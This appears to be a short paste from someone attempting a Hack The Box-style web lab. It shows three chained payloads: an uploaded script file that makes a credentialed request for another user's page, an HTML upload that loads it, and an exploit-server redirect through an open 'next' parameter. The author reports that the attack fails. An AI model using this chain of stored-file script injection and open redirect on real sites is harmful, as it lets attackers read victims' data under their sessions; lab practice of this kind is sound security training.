Untitled

///// Payload uploaded to the payload.txt file (file_id=1)
/////
[...]
Content-Disposition: form-data; name="fileToUpload"; filename="payload.txt"
Content-Type: text/html

        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'https://vulnerablesite.htb/users.php?userid=3', false);
        xhr.withCredentials = true;
        xhr.send();
[...]


///// Payload uploaded to the exploit.txt file (file_id=2)
////
[...]
Content-Disposition: form-data; name="fileToUpload"; filename="exploit.txt"
Content-Type: text/html

<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
    <script src="/display_file.php?file_id=1"></script>
</body>
</html>
[...]


///// Payload at exploitserver/exploit
////
<script>
document.location = "https://vulnerablesite.htb/index.php?next=/display_file.php?file_id=2";
</script>


///// As a last step I'm just hitting 'Deliver to Victim' however with no result.
/////